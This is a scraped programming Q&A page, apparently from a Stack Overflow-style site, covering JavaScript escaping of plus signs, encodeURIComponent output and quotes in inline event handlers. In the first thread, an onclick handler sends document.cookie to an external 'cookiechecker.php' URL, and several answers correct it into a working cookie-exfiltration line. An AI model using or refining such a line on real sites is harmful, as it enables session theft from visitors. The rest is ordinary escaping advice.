Alternative for the + sign in javascript - javascript

So, I've been doing JavaScript for a while now and stumbled upon a problem. When I tried to do a hyperlink with JavaScript encoded into it, the plus sign just disappears and the hyperlink for the JavaScript code doesn't work. So, is there an alternate sign for the plus sign in JavaScript? Is there another sign I can use that does the same functions as a plus sign?
Here is my code:
onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"

Please replace the "+" with its HEX equivalent, "%2B".

Try this (removing a semicolon):
onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);"

%2b is the hex value for "+". (You may have seen %20 in the address bar before.. Same idea)

You have a semicolon in there that you need to remove:
onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);"
That semicolon causes the JavaScript to treat your expression as two separate statements instead of one. It's the equivalent of:
document.location = 'site.com/cookiechecker.php?cookie=';
escape(document.cookie);

Your code is this:
onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
This means your event handler is this (in expanded form):
document.location = 'site.com/cookiechecker.php?cookie=';
+escape(document.cookie);
This is not what you want. Remove the semicolon which is separating the two statements.
Also, you are almost certain to be wanting http:// at the start of the document.location value.
Final value:
onclick="document.location='http://site.com/cookiechecker.php?cookie='+escape(document.cookie);"

Related

How do I keep + sign as is in encodeURIComponent("+")?

In a part of the code I can't change. The function encodeURIComponent() will be executed on the URL i pass in, how ever one of my API calls contains a + sign which is necessary to send as a + sign. Right now it gets replaces "%2B" which makes the API fail..
I have tried using escape and "%2B" and backslash infront of my + sign as "+" but nothing gives so far..
How do I make encodeURIComponent('+') return + and not "%2B"
Thank you affordtime for your help
Temporarily swap out the plus signs for an arbitrary marker, e.g.
encodeURIComponent("one £ + £ two".replace(/\+/g, '*PLUS*')).replace('*PLUS*', '+');
Gives you:
"one%20%C2%A3%20+%20%C2%A3%20two"
...ie retains the +, which will also survive the reverse trip via decodeURIComponent().
You can't do it without changing the code. encodeURIComponent will never output a + sign.
If you or someone else can change the code you could use this answer:
encodeURIComponent(search).replace(/%20/g, "+");
and then use spaces in the input where you want + to be.
It is not usually recommended to overwrite native functions but you could do this which would redefined encodeURIComponent to not escape plus characters but otherwise escape the same set of characters.
function encodeURIComponent(s) {
// encodeURI leaves these chars untouched ##$&=:/,;?+
return encodeURI(s).replace(/[##$&=:\/,;?]/g, function(c) {
return '%'+c.charCodeAt(0).toString(16)
})
}
As you can't change the behavior of encodeURIComponent, the simplest way is to replace %2B-s back to +-es:
encodeURIComponent('1+2=3').replace(/%2B/g, '+') //1+2%3D3
This is more efficient, as it needs a single replacement, and doesn't need intermediate "escaping", and simpler, as you don't have to reimplement encodeURIComponent and using the native one might be even faster for large strings.

Single Quote in Javascript Param

I have a function that, when clicked, fills in a field of the parent window. In this case, it's a name (text) field.
The problem I'm having is if the field has a single quote in it (ex. Bill's Chili) the function fails because it reads the single quote as the end of the parameter.
Here is the call:
href="javascript:selectItem('recipe','recipe_name','<recipe_description')"
Again, if the name is Bill's Chili, it causes a syntax error.
Is there a way to automatically convert that single quote to the HTML equivalent so it will read properly?
Thanks
For the single quotes in the field use \' More info on escape characters here.
href="javascript:selectItem('Bill\'s Chilli','recipe_name','<recipe_description')"
The answer I found was completely different than I thought. The page itself is written is ASP (Sorry I forgot to mention that, I didn't think it mattered since the function was javascript and it was called in HTML).
Therefore, I just used this:
<%fixed_name = Replace(recipe_name,"'","") %>
And then used fixed_name instead of recipe_name in the function call.
Thanks for all your help, it set me in the right direction!
try this
href='javascript:selectItem("recipe","recipe_name","<recipe_description")'
You may try to use escaped 'double' quote like that:
href="javascript:selectItem(\"recipe\",\"recipe_name\",\"recipe_description\")"
Please let me know whether it works.
You could use str.replace
Just remplace " by " et ' by ' . :)
But actually, I'm assuming you're getting all of that stuff from a php script (from some sort of storage), in which case you could escape the quotes directly with php, that would be way more safer.

Too many quotes within quotes -- what to do?

Here is a section of code used by CKEditor on my website:
CKEDITOR.config.IPS_BBCODE = {"acronym":{"id":"8","title":"Acronym","desc":"Allows you to make an acronym that will display a description when moused over","tag":"acronym","useoption":"1","example":"[acronym='Laugh Out Loud']lol[/acronym]", ...
If you scroll to the right just a little, you will see this:
"[acronym='Laugh Out Loud']lol[/acronym]"
I need to store all of the CKEditor code inside a javascript string, but I can't figure out how to do it because the string has both " and ' in it. See the problem? Furthermore, I don't think I can just escape the quotes because I tried doing that and the editor didn't work.
Any idea what I can do?
You might try taking the string and injecting JavaScript escape codes into it. JavaScript can essentially use any unicode value when using the format: \u#### - so, for a ' character, the code is \u0039, and for the " character, the code is \u0034.
So - you could encode your example portion of the string as:
\u0034[acronym=\u0039Laugh Out Loud\u0039]lol[/acronym]\u0034
Alternatively, you could attempt to simply escape the quotes as in:
\"[acronym=\'Laugh Out Loud\']lol[/acronym]\"
The problem here occurs when you wind up with this kind of situation:
"data:{'prop1':'back\\slash'}"
Which, when escaped in this manner, becomes:
"data:{\'prop\':\'back\\\\slash\'}\"
While this is somewhat more readable than the first version - de-serializing it can be a little tricky when going across object-spaces, such as a javascript object being passed to a C# parser which needs to deserialize into objects, then re-serialize and come back down. Both languages use \ as their escape character, and it is possible to get funky scenarios which are brain-teasers to solve.
The advantage of the \u#### method is that only JavaScript generally uses it in a typical stack - so it is pretty easy to understand what part should be unescaped by what application piece.
hmm.. you said you already tried to escape the quotes and it gave problems.
This shouldn't give problems at all, so try this:
$newstring = addslashes($oldstring);
There's no need to use Unicode escape sequences. Just surround your string with double quotes, and put a backslash before any double quotes within the string.
var x = "\"[acronym='Laugh Out Loud']lol[/acronym]\"";

how to escape JavaScript code in HTML

I have some addHtml JavaScript function in my JS code. I wonder how to escape HTML/JS code properly. Basically, what I am trying right now is:
addHtml("<a onclick=\"alert(\\\"Hello from JS\\\")\">click me</a>")
However, that doesn't work. It adds the a element but it doesn't do anything when I click it.
I don't want to replace all " by ' as a workaround. (If I do, it works.)
I wonder how to escape HTML/JS code properly.
To insert string content into an HTML event handler attribute:
(1) Encode it as a JavaScript string literal:
alert("Hello \"world\"");
(2) Encode the complete JavaScript statement as HTML:
<a onclick="alert("Hello \"world\""">foo</a>
And since you seem to be including that HTML inside a JavaScript string literal again, you have to JS-encode it again:
html= "<a onclick=\"alert("Hello \\"world\\""\">foo<\/a>";
Notice the double-backslashes and also the <\/, which is necessary to avoid a </ sequence in a <script> block, which would otherwise be invalid and might break.
You can make this less bad for yourself by mixing single and double quotes to cut down on the amount of double-escaping going on, but you can't solve it for the general case; there are many other characters that will cause problems.
All this escaping horror is another good reason to avoid inline event handler attributes. Slinging strings full of HTML around sucks. Use DOM-style methods, assigning event handlers directly from JavaScript instead:
var a= document.createElement('a');
a.onclick= function() {
alert('Hello from normal JS with no extra escaping!');
};
My solution would be
addHtml('<a onclick="alert(\'Hello from JS\')">click me</a>')
I typically use single quotes in Javascript strings, and double quotes in HTML attributes. I think it's a good rule to follow.
How about this?
addHtml("<a onclick=\"alert("Hello from JS")\">click me</a>");
It worked when I tested in Firefox, at any rate.
addHtml("<a onclick='alert(\"Hello from JS\")'>click me</a>")
The problem is probably this...
As your code is now, it will add this to the HTML
<a onclick="alert("Hello from Javascript")"></a>
This is assuming the escape slashes will all be removed properly.
The problem is that the alert can't handle the " inside it... you'll have to change those quotes to single quotes.
addHtml("<a onclick=\"alert(\\\'Hello from JS\\\')\">click me</a>")
That should work for you.
What does the final HTML rendered in the browser look like ? I think the three slashes might be causing an issue .

How to get a Clean String in Javascript?

i have a long String. With some German characters and lots of new lines tabs ect..
In a Selectbox user can select a text, on change i do
document.getElementById('text').value=this.value;
But this fails. I just get a "unterminated string literal" as error in JavaScript.
I think i should clean the string.
How can i do it in JavaScript?
Its not because of that code, there is syntax error somewhere in your javascript file.
For example, in one of your previous question's answer
alert("yes link clicked);
You could see, there is " is missing after clicked, which could cause unterminated string literal error. Fix it like
alert("yes link clicked");
As I cannot judge from your code, you might want to check what this in this.value refers to, e.g. using an alert("debug: " + this.value) .
Other than that, you might want to use encodeURI() for converting umlauts and other special characters to hexadecimal notation. If your page's content-type is set to UTF-8 special characters will then display correctly.

Categories